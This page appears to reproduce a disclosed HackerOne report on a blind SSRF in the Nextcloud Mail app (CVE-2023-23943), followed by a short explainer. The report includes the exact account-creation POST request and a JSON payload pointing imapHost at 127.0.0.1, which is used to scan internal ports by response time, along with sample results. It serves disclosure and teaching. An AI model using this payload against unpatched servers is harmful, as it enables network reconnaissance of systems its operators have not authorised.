Skip to content
SSRF Disclosed report Intermediate CVE-2023-23943

Mail app - blind SSRF via imapHost parameter

The Nextcloud Mail app accepted a user-supplied IMAP host and port when creating an account and made a server-side connection to that address without validation. An attacker could use this to make the server connect to internal hosts and infer open ports from response times.

supr4s Follow

Originally disclosed on HackerOne

  • Triaged in 35 hours
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 4 months

Summary by the program

Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-8gcx-r739-9pf6

The report

Hi everyone,

I would like to report here a Blind SSRF vulnerability through the Nextcloud Mail application.

Tested on latest Mail release : 2.0.1

Steps To Reproduce:

During the connection process of a mail account on the integrated Mail application of Nextcloud, once all the fields validated (IMAP, STMP etc) the following POST request is made:

POST /apps/mail/api/accounts HTTP/2
Host: redacted
Cookie: redacted
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Requesttoken: redacted
Content-Length: 333
Origin:  redacted
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{"imapHost":"myimapserver.org","imapPort":993,"imapSslMode":"tls","imapUser":"[email protected]","imapPassword":"xxx","smtpHost":"mysmtpserver.org","smtpPort":465,"smtpSslMode":"tls","smtpUser":"[email protected]","smtpPassword":"xxx","accountName":"[email protected]","emailAddress":"[email protected]"}

From there, the SSRF will take place with the imapHost parameter and the desired port number with the imapPort parameter.

We can already confirm this with a hit to my burp Collaborator instance

Capture_d__cran_du_2022-10-15_22-35-14.png
Capture_d__cran_du_2022-10-15_22-35-14.png From the original on HackerOne

We can then use this for a port scan based on the response time. Response time < 100ms = port closed/no listening on it. Port > 1000ms response, port open, listening with a service on it. Here I will scan my server locally:

{"imapHost":"127.0.0.1","imapPort":<port_number>,"imapSslMode":"none","imapUser":"[email protected]","imapPassword":"xxx","smtpSslMode":"none","smtpUser":"[email protected]","smtpPassword":"xxx","accountName":"[email protected]","emailAddress":"[email protected]"}

It is important here to leave the parameter imapSslMode on none !

Capture_d__cran_du_2022-10-15_22-59-56.png
Capture_d__cran_du_2022-10-15_22-59-56.png From the original on HackerOne

To automate, this can be done with the Intruder tool from Burp Suite. And here the result on my server :

Port 80 - response time : 5200ms - Apache2 service
Port 443 - response time : 5200ms - Apache2 service
Port 8080 - response time 5140ms - CrowdSec
Port 6060 - response time 5180ms - CrowdSec
Port 5432 - response time 5191ms -  PostgreSQL
Port 6379 - response time 5216ms - My Redis instance for Nextcloud
Capture_d__cran_du_2022-10-15_22-53-34.png
Capture_d__cran_du_2022-10-15_22-53-34.png From the original on HackerOne

I tried a lot to increase the impact of this totally blind SSRF, I don't think it is possible to increase the impact of this vulnerability.

Impact

From OWASP :

SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL).

We are here on a totally Blind SSRF vulnerability.

This vulnerability can be exploited by any user, regardless of their rights, as long as the mail application is installed and enabled. A malicious person can therefore retrieve the services running locally on the server, scan your internal network for interesting information about which IPs are responding, which services are running on each IP address, etc.

Looking forward to exchanging.

Regards, Supr4s

Attachments

dcd445133acdbe59f14c5df1334c8ae4.png
dcd445133acdbe59f14c5df1334c8ae4.png From the original on HackerOne

The original report as published on HackerOne, by supr4s. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Any user with the Mail app enabled could make the server connect to internal addresses and use response times to scan for open ports and services, though the report states the impact could not be increased beyond this blind SSRF.

What the attacker needed

Mail app installed and enabled; Any authenticated user account

How it was found

  1. Start adding a mail account in the Nextcloud Mail app and fill in the required fields.
  2. Submit the account creation request, which includes the imapHost and imapPort values.
  3. Set imapHost to an internal address and imapPort to the port to test, with imapSslMode set to none.
  4. Observe the response time to infer whether the port is open or closed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you add an email account, the app connects to the mail server you type in. Here the app did not check that the address was a real mail server, so someone could type an internal address instead. By timing how long the app took to reply, they could guess which internal services were running.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by supr4s

View all

13 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.